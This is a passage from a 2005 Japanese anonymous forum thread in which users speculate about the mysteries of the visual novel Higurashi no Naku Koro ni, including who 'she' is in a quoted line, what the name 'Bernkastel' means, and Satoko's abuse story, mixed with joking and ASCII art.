ID:p7mOCGoJ0 やべえ俺ら１％の向こう側にイッちゃいそうじゃねｗｗｗｗｗｗ 253 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:48:29 ID:lQe+IvM+0 ただ竜騎士さんが、 「目明しは暇潰しを前提として書かれている」というふうに言ってる。 この前提ってのはやっぱ黒梨花様のコトか？ 254 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:50:19 ID:qCFFW3qj0 ひぐらしって、製作日記にも重要なヒント隠されてるよなｗｗ 255 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:53:55 ID:p7mOCGoJ0 作中作だと仮定すると、やはり赤坂・大石が歪んだ執念が……ってことになるかな 256 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:54:59 ID:lQe+IvM+0 梨花の予言が本当に予言か、計画なのかは調べようがない。 ただ言えるのは、暇潰しは「推理不能」であるってことだ。 解決できるように出来てないんだ。 予言か計画かはともかく、俺達が考えることは この一連の事件に黒幕がいるか、いないか、だ。 257 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:55:34 ID:a6+0sch70 ttp://www5a.biglobe.ne.jp/~ge999/ 258 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:56:54 ID:TMWLI6Zw0 >>251 まあ、作中作にしろ予言にしろ あの段階で梨花が知っていた → 何らかの巨大な陰謀の存在 を否定できるってことだわな 259 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:58:10 ID:p7mOCGoJ0 他に疑問は残ってるかな？ ないならお姉ちゃんは一人称「ボク」ね。 260 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:58:48 ID:lQe+IvM+0 そういえば……今音楽室開いて気がついたんだが。 ひぐらしの声を選択したとき 彼女は言った。もうすぐ終わる。全部終わる。 「そう、……ひぐらしのなく頃に。」 って出るわけなんですが。 「彼女」って誰なんだ？ 261 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 15:58:55 ID:RexBL25n0 デスノもしくはそれ以上の謎解きｽﾚだなｗｗｗｗｗ 262 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:00:12 ID:lQe+IvM+0 >>259 はっはっはｗ そう簡単に「ひぐらし」の謎が終わってしまっては困るぜｗ 263 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:00:49 ID:p7mOCGoJ0 要は後半一行を言いたかっただけでｗ 264 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:01:51 ID:TMWLI6Zw0 みんな、待ってくれ いま259が重大な真実を解き明かした つまり ボクっ娘は、萌える 265 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:03:22 ID:p7mOCGoJ0 >>264 萌えるが違和感なく使わせるのは結構むずかしい。 と、小説書くのが好きな俺は思う。 266 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:03:28 ID:+HCCH1cS0 >>264 ﾘｱﾙで言われると 萎 え る 267 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:05:17 ID:lQe+IvM+0 はいはい、おまいらもう分かったからｗ ボクっ娘は確かに萌えるけど俺はやらないからな。 268 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:05:41 ID:p7mOCGoJ0 >>266 ちっちゃい子とかだと和む 269 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:06:36 ID:EW26rRBB0 あの指４本は１本は自分で食うんだよな？ 270 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:07:19 ID:TMWLI6Zw0 >>266 まて、それはモノによるだろ ところで豚細工腐女子の一人称「俺」は射殺ってことでいいよな？ 271 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:08:20 ID:lQe+IvM+0 >>270 殺したいなら殺してくれｗｗｗｗｗ ただしその前に260の質問に答えてくれｗ 272 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:08:24 ID:+HCCH1cS0 >>269 ケジメ 273 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:08:47 ID:a6+0sch70 772 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/06/07(火) 15:53:42 ID:Zq03rAtu VIPはカワイソな人達だから、放っておくに限るのデス☆ 773 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/06/07(火) 15:59:59 ID:ZVcFTjr9 ブームに乗り遅れた連中 それに対してかっこつけたい連中 それらが混ざり合って独特の臭気を発している なかなか笑える そろそろ全部ｶﾞｲｼｭﾂと教えてやるべきかな 774 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/06/07(火) 16:02:09 ID:Pj3ilnnb まさかここの奴が臭い連中にネタバレしに行くとかはないような ニヤニヤしてやるだけで十分だ 274 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:08:48 ID:p7mOCGoJ0 そういや友達の妹が昔一人称「ボク」だったような……あれ、なんでよく思い出せないんだ。 思い出せればスーパー自家発電に入れるのに。 275 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:10:30 ID:p7mOCGoJ0 なんでVIPって嫌われてんだろうな？ 276 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:12:17 ID:+HCCH1cS0 嫌われるのは仕方ないことだ 277 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:13:05 ID:p7mOCGoJ0 いまいち分からないんだよね。 278 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:13:10 ID:K1VSNUSH0 ブームなんてあったんだ・・・・ 279 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:13:39 ID:qCFFW3qj0 チャンピョンだからな。 妬まれるのも仕事の内です 280 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:14:30 ID:TMWLI6Zw0 >>273 別にいいんじゃね？ 同人ゲーム板の本スレも見たけどイマイチ排他的なんだよ、あそこ 既出とか過去ログ全部読めとかで まあ、連中に取っちゃ今更な話題になるんだろうけどな 住み分ければいいさ 281 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:15:54 ID:lQe+IvM+0 >>275 好かれてたらVIPじゃねぇよｗｗｗｗ 嫌われてこそのVIPクオリティだろｗｗｗ ブームに乗り遅れたのは事実だなー。 俺は元々パソゲって全然やらないから、知人に聞いて初めて知ったもん。 公式掲示板も眺めたりしてるからｶﾞｲｼｭﾂなのも知ってるけど、 まぁ、再考察して見えてくるものもあらーなｗ 来年の夏までのんびりやるさｗ 282 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:19:34 ID:lQe+IvM+0 で、おまいら260の質問はー？ 283 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:19:50 ID:qCFFW3qj0 誰が、いつどこでどんな推理をして楽しもうが自由なハズなのにな それを晒したり、なんだのといちゃもんつけたりするのってなんか違う気がする おれもだらだらやるよｗｗｗｗｗ 284 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:21:11 ID:p7mOCGoJ0 作中作の推理は結構自信あったんだがなー、ショック 285 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:21:54 ID:K1VSNUSH0 カードキャプターさくらってこんな昔からやってたのかｗｗｗｗｗ 286 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:21:56 ID:p7mOCGoJ0 VIPで正解叩き出して見返してやろうや >>1に萌えつつ 287 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:23:13 ID:lQe+IvM+0 >>284 まぁ、出てから結構経ってるし 「新たな案」を出す必要はないだろ？ 今ある案について、掘り下げていくのも大切だ。 288 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:23:20 ID:1VJsOCOs0 向こうのスレは、メジャーになったバンドをマイナーな頃から俺は知ってるぜっていう、 中２病だろｗ 289 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:24:10 ID:p7mOCGoJ0 こらこら相手をけなしたら同類になっちまうぞ 290 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:24:42 ID:TMWLI6Zw0 まあ、そろそろ流れを元に戻そうぜ 260の推理から始めないか？ 291 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:24:52 ID:+HCCH1cS0 >>285 そんなこと言ったら昭和58年の車がパワーウィンドウなのも変じゃね？ 292 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:24:57 ID:qCFFW3qj0 >284 はずれてるとも限らんだろうｗｗｗｗ ＶＩＰはＶＩＰなりにいこうぜｗｗｗｗ 293 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:25:07 ID:lQe+IvM+0 >>285 そーゆー時間軸については突っ込んではいけないところだｗｗｗｗ >>290 よし、お前いいこと言った！ 294 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:27:30 ID:qCFFW3qj0 ∧＿∧ ┌──────────── ◯（ ´∀｀ ）◯ ＜ 僕は、竜宮レナちゃん！ ＼ ／ └──────────── _／ ＿＿ ＼_ （＿／ ＼＿） ｌｌｌ 295 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:28:16 ID:+HCCH1cS0 ∧＿∧ ┌──────────── ◯（ ´∀｀ ）◯ ＜ 僕は、園崎お魎ちゃん！ ＼ ／ └──────────── _／ ＿＿ ＼_ （＿／ ＼＿） ｌｌｌ 296 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:28:24 ID:lQe+IvM+0 って、話戻そうとしてるのに気がついてしまったコトがある。 >>273、774のIDが古式だｗｗｗｗ 297 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:28:48 ID:TMWLI6Zw0 >>294 おまえは・・・・・レナじゃない おまえは 誰だ 298 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:29:16 ID:qCFFW3qj0 >295 ちょｗｗｗｗｗｗｗおまｗｗｗｗｗｗｗｗｗ 299 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:31:08 ID:TMWLI6Zw0 ところで、260のテキストって作中だとどこで出てくるんだっけ？ 祟殺しのアレじゃあないよな 綿流し？ 300 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:33:55 ID:lQe+IvM+0 >>299 作中では出てきた覚えはない。 祟殺しでは出てきたけど、「彼女」ではない。 圭一が穴を掘り終わったあたりのモノローグだ。 やれやれ、もうすぐで 「よしわかった。 260に答えてくれたら一人称ボクにして敬語口調で喋ってやる。」 って書くところだったぜｗ 301 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:34:32 ID:a6+0sch70 >>285 ﾜﾛｽｗｗｗｗ 302 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:35:29 ID:+HCCH1cS0 今から20年以上前にネコミミやしっぽ、鈴等を作る技術力があったとは思えない！！ 303 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:35:55 ID:p7mOCGoJ0 >>260を解かなきゃ。怪死事件はもうどうでもいい。 304 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:37:00 ID:qCFFW3qj0 じゃあスナイパーの大西（山だっけ？）君説でいくぜ！ 305 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:37:32 ID:lQe+IvM+0 >>303 よくねぇよｗｗｗｗｗ 306 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:38:37 ID:p7mOCGoJ0 >>304 俺もそうだと思う！ さぁ>>305 307 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:38:46 ID:lQe+IvM+0 >>304 乾物屋の大介くん。趣味は狙撃で将来の夢は超Ａ級スナイパー。 ｗｗｗｗｗアリエナスｗｗｗｗ 308 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:40:10 ID:6CdFP9B80 >>260 一番最初の最初、鬼隠しをシナリオジャンプ使わない最初に出てくる、 あの『彼女』ってのと同一人物なんじゃね？ 309 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:41:09 ID:qCFFW3qj0 そうだ大介だｗｗｗｗｗｗ つかあいつ誰なんだよｗｗｗｗｗｗ なんか綿流しの儀式の時に魅音がぶっ倒れるシーンがあったけどあそこは奴の仕業？ レナパンじゃないんだよな 310 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:42:06 ID:lQe+IvM+0 >>308 圭一（？）が殴った女のことか？ うーん、アレはレナって説があるけど。 どんなもんだろー？ 311 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:43:37 ID:qCFFW3qj0 >308 ああ、あのドガバギグシャはジャンプすると出ないのか！ 体験版にだけあるもんかとｵﾓｯﾃﾀ 312 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:44:14 ID:lQe+IvM+0 >>309 確かにレナは「レナ殴ってないよ」とは言ってたけどな。 からかわれて恥ずかしがったことを隠しての台詞という可能性があるからﾋﾞﾐｮﾝ。 そうか大介の所為かｗｗｗｗｗ大介ｽｹﾞｪｗｗｗｗ 313 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:44:37 ID:wN9gnQNN0 http://www.geocities.jp/good_for_nothing18/comic/c.higurasi06.htm http://www.geocities.jp/good_for_nothing18/comic/c.higurasi23.htm 314 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:45:26 ID:+HCCH1cS0 冒頭のヴォングシャはK1がレナたちを撲殺するときの描写だと思うけど 315 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:48:12 ID:lQe+IvM+0 >>314 やっぱそれが一番強いよなー。 まぁ、「彼女は言った」の彼女については、ボクは答えが出るとは思ってないのですよ。 皆の意見が聞きたかっただけなのです。 はい、これでいいのか！？ p7mOCGoJ0！！ 316 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:49:17 ID:6CdFP9B80 >>314 鬼隠しの「注射されそうになったんで正当防衛」、の時かな。 の割には魅音はいないっぽいのがｶﾜｲｿｽ 317 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:50:17 ID:1VJsOCOs0 預言者りかちゃまだと思うけどな、言いそうなのは。 あとは、冒頭のフレデリカか？ 同一人物説もあるけど。 318 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:50:25 ID:p7mOCGoJ0 >>315 ！！！！！！！！！！ 319 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:51:49 ID:+HCCH1cS0 >>316 「彼女ら」って表現があったような… 320 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:51:59 ID:lQe+IvM+0 >>317 あー、それはいい感じだねぇ。 だとしたら「何が」終わるんだろーか…。 321 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:52:33 ID:a6+0sch70 ふむふむ 322 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:55:33 ID:lQe+IvM+0 >>319 あった。 「彼女らのために流す涙はないはずなのだ」ってのが。 323 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:56:20 ID:G/I1xjmA0 >>319 今見直してみると、一箇所だけ「彼女ら」ってなってるね。 他は全部「彼女」で、レナに向けたものっぽいけど。 324 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:57:28 ID:1VJsOCOs0 あと、途中で呼び方が彼女から君に変わってる 325 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 16:59:56 ID:p7mOCGoJ0 分裂気味だな 326 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:00:50 ID:+HCCH1cS0 Frederica Bernkastel これはドイツ語だな。 …！ そうか、古手梨花！奴はドイツ人か！ ドイツと言えば医学。 注射器の謎はとけたくせーや 327 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:02:39 ID:+HCCH1cS0 補足：外国人がしゃべる日本語は大抵ですます調なんだよね。 ｷﾀｺﾚ 328 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:03:03 ID:lQe+IvM+0 >>324 それは、「彼女」ってのが三人称で、「君」が二人称の違いだろ？ レナに呼びかけているか、いないかの違いだ。 329 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:08:28 ID:ADNZGrdU0 ドイツの科学力はァ！世界一ィィィィィィ!!ヽ(゜∀゜)ノ 330 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:09:11 ID:48cUbCxb0 >>317 >>323 俺は君の事が．．．好きだった とあるから、これはレナへの語りかけで 魅音が出てこなくても不自然さはないとおもた でも本編ではあまりK1がレナに好意を持ってたという描写はないな。 331 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:10:41 ID:qCFFW3qj0 Bernkastel ベルンカステルってなんじゃらほい 332 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:12:47 ID:u1CVnUBL0 bern：バーン：焼く kastel：キャッスル：城 焼く城：やしろ：オヤシロ 嘘嘘 333 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:13:04 ID:1VJsOCOs0 雛見沢は旧ナチの実験場で、 ノドカキムシールもガスも全部… Bernkastelってドイツに同名の街があるみたい。 334 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:13:06 ID:p7mOCGoJ0 >>332 ﾜﾛｽｗｗｗｗ 335 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:13:17 ID:+HCCH1cS0 Bernkastel… キバヤシ！出番だ↓ 336 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:13:25 ID:lQe+IvM+0 >>330 俺は君の事が…の前に「ひょっとすると」が入る。 自分で自覚してなかったけど、今はレナのことばっかり考えてるから、 あぁ、おれひょっとして好きだったんだなって気付いたってことじゃないか？ 337 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:13:51 ID:qCFFW3qj0 >332 ｷﾀｺﾚｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 338 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:15:30 ID:lQe+IvM+0 >>335 ゴメス…空気読んでナカタｗｗｗｗｗｗｗｗｗ べるんかすてる。 「ベルン」か「すてる」 「食べるん」か「捨てる」 そう、死体の処理方法のことだったんだよ！！！！ 339 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:16:23 ID:p7mOCGoJ0 >>338 ！！！！！！！！ 340 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:17:12 ID:ADNZGrdU0 ﾅ ﾅﾝﾀﾞｯﾃｰ!! Ω ΩΩ 341 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:17:17 ID:TMWLI6Zw0 Bernkastelなあ これ多分アナグラム仕掛けてきてるんだと思うんだけどさあ 韻がベルンカステルだとするとドイツ語なんだよね 流石にドイツ語のアナグラム解けるほど勉強したことねえよ 342 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:17:35 ID:+HCCH1cS0 >>338 Ω ΩΩ＜ななんだって 343 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:17:56 ID:p7mOCGoJ0 アナグラムは苦手なんだよなぁ 344 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:18:15 ID:1VJsOCOs0 三四の調査で綿流しは元々食人の祭りってあったな。 カーニバルの語源はカニバリズム！！ 345 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:18:28 ID:lQe+IvM+0 うはｗｗｗｗｗたった今思いついたにしては上手く出来たこじつけで満足ｗｗｗｗ 346 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:20:12 ID:lQe+IvM+0 >>341 アナグラムだとしても、それがドイツ語の単語とは限らんだろ？ 元々ドイツ語は限りなくローマ字読みに近い。 ローマ字読みなら俺達だってできる。 347 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:21:17 ID:9ZF8E8jZ0 Bernkastelでググったらこんな画像でてきた http://www.hsbks.de/images/Spannung1gr.jpg 348 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:22:04 ID:p7mOCGoJ0 >>332 が正解だったりしてｗｗｗｗｗｗ 349 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:22:10 ID:9ZF8E8jZ0 Brnkstl eae 子音多すぎ 350 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:23:23 ID:1VJsOCOs0 >>348 あるあるｗｗｗｗｗｗｗｗｗｗｗ 351 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:24:06 ID:+HCCH1cS0 >>348 でもそれだと意味が浅いね 352 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:24:29 ID:qCFFW3qj0 ∩＿＿＿∩ | ノ ヽ / ● ● | らしいクマ | ( _●_) ミ 彡､ |∪| ､｀＼ / ＿＿ ヽノ /´> ) (＿＿＿）f^f^f^f^f^f^f^f^f^ ┐ | |~ ~ ~ ~ ~ ~ ~ ~ ~ │ | | bern 熊 │ | ／ | kastel 城 | | / . | bernkastel 地名 | ∪ |______＿＿＿＿＿ | ＼＿) 353 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:25:20 ID:lQe+IvM+0 >>349 うはｗｗｗｗまぁ、それはあるんだけどさｗｗｗ 354 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:25:20 ID:p7mOCGoJ0 古手梨花 オヤシロ になるわけかｗｗｗｗｗ 355 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:26:01 ID:TMWLI6Zw0 Bernkastel 母音がe、a、eで3つしかないからローマ字の可能性は除外できる 英語だとカ行の発音でkってあんまり使わないんだよな、関係ないけど ベルンカステルって読みの方がアナグラムだったりは・・・・・さすがにしないか あ、フレデリカ＝古手梨花だと決め付けてたけど、別に言及されてるわけじゃない、よな それ以外の可能性も考えておいた方がいいのか？ 356 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:27:03 ID:qCFFW3qj0 ちなみに bern の発音はバーンでいいらしい 357 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:28:53 ID:1VJsOCOs0 じゃあ、大魔王バーンって！！ 大魔王熊！？ 358 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:29:08 ID:lQe+IvM+0 332だとしても、352だとしても、文字に補完が必要になってくるんだよな。 焼く、という意味ならbarnはburnが正しいし、 城もkastelではなくkastellだ。 しかも英語とドイツ語が交じり合っている。 クマ、なら正しくはba¨rで、ｎが消えてしまう。 359 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:29:46 ID:+HCCH1cS0 >>357 あぁ 皇帝ペンギンみてーなもんだろ 360 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:31:01 ID:+HCCH1cS0 >>358 このままの状態では何語にも分類されないってことになるな。 するとやはりアナグラム…？ 361 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:33:31 ID:1VJsOCOs0 竜騎士０７＝竜宮レナ みたいな感覚でいいのかも 362 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:33:56 ID:u1CVnUBL0 じゃあバーンキャッスルじゃねーのｗ 363 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:34:32 ID:p7mOCGoJ0 >>332 でいいんじゃねｗｗｗ 364 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:34:55 ID:+HCCH1cS0 うはｗｗｗてきとうｗｗｗ 365 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:35:45 ID:qCFFW3qj0 いいことにするぞｗｗｗｗｗｗｗｗ 366 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:36:57 ID:lQe+IvM+0 まぁ、保留だなｗｗｗｗｗ 367 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:37:15 ID:1VJsOCOs0 ちょっｗｗｗｗそれｗｗｗｗｗ１％の向こう側じゃねｗｗｗｗｗｗｗｗ 368 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:37:48 ID:qCFFW3qj0 おやきっていう食いもんあったよなｗｗ 369 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:38:25 ID:p7mOCGoJ0 >>368 そ れ だ 370 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:39:04 ID:p7mOCGoJ0 つうかおやきでぐぐったらすげえ美味そうな菓子が…… 371 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:43:26 ID:+HCCH1cS0 うはｗｗｗｗｗ100個注文したｗｗｗｗｗ 372 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:43:26 ID:lQe+IvM+0 じゃあ、食べるか捨てるは諦めて、別の話題に移るかー・・・ 373 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:43:41 ID:FXh+yfgA0 おやきはうまいぞ 374 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:44:57 ID:p7mOCGoJ0 長野の名物なのか 375 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:45:34 ID:9ZF8E8jZ0 おやきでググったらおっぱいみたいなお菓子ｴﾛﾏｸﾘﾝｸﾞｗｗｗｗｗｗｗｗｗｗｗ 376 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:45:59 ID:qCFFW3qj0 やっぱわからんのが祟殺し編だよな 377 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:46:17 ID:lQe+IvM+0 もー、おまいら俺の腹を減らすのはやめれｗｗｗｗｗ 378 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:47:05 ID:FXh+yfgA0 >374 野沢菜入りがスタンダードで特にうまい 379 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:48:08 ID:lQe+IvM+0 祟り殺しかー。前スレでも多少話は登ったけど…。 難しいとこだなー。 380 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:48:14 ID:p7mOCGoJ0 >>378 そばおやき、ってのがちょっと気になった 381 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:48:39 ID:K1VSNUSH0 やっぱ村の連中キモイな まだ途中だけど 382 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:49:42 ID:lQe+IvM+0 >>381 Ｋ１ガンガレよ。どこまでやってるのか知らんけど。 383 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:50:56 ID:qCFFW3qj0 >381 村の連中っていうと、会議のトコかな？ 384 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:51:52 ID:TMWLI6Zw0 祟殺しはなあ 俺は沙都子の狂言だと思ってる 狂言というか「虐待されていると信じ込んでいる」、な だから同じ言葉で虐められる あの日の朝、風呂に入っていたのも以前のフラッシュバック 既に鉄平は圭一に殺されている そして圭一は雛見沢の「祟りシステム」によって保護される にしても穴が開きすぎるんだよな、コレ 385 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:52:05 ID:+HCCH1cS0 いたぞ！裏口だ！ ら辺とみた 386 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:52:28 ID:ADNZGrdU0 野菜で思い出した ブロッコリーとカリフラワーの区別がつかないってのは普通はないよな？ やっぱりサトコ（＆悟）も何かしらの異常があったってことでいいんかな？ 387 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:52:39 ID:K1VSNUSH0 今詩音とデート中だｗｗｗｗｗうはｗｗｗｗｗｗ詩音萌えスｗｗｗｗｗｗｗｗｗ 388 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:54:04 ID:p7mOCGoJ0 >>386 エスカレーターとエレベーターの違いみたいなもんだ 389 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:54:36 ID:qCFFW3qj0 叔父は死んでるよな なんで魅音たちが口裏合わせてくれてるのかよくわからんのだが 沙都子は色弱なのかもしれん 390 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:56:45 ID:+HCCH1cS0 >>384 祟殺しの沙都子は信じられる部分の方が少ないと思う。 そもそも過去に二度の虐待自演があるし、風呂の茹蛸も間違いなく自演かと。 １秒に１つカウントするとして5040カウントするのにかかる時間は84分。 数値の増大によるロスを考慮しても２秒に１カウントくらいのペースか。 そうすると３時間もしない内に１万カウント完了する。 前日の夕食直後から風呂に入ったと考えられるから 翌日の７時まで風呂に入ってるのはおかしい。 391 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:57:32 ID:ADNZGrdU0 >>388 明らかに違うじゃネーかｗｗｗｗｗｗ 392 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:57:43 ID:lQe+IvM+0 サトシとサトコが色盲だったとして、どんなことがあるだろーか？ 特に何も無いと思うんだ。 それに「黄色」と「緑」の見分けがつかないというよりは、 どっちが黄色でどっちが緑が覚えられない、という印象だったぞ。 叔父は死んでると思う。 そして、サトコには「別の虐待者」が現れて サトコはそれを叔父だと思い込んでしまっている。 って感じだと俺は思うナー。 393 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 17:58:44 ID:9ZF8E8jZ0 >>388 わかってんねんでー 394 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 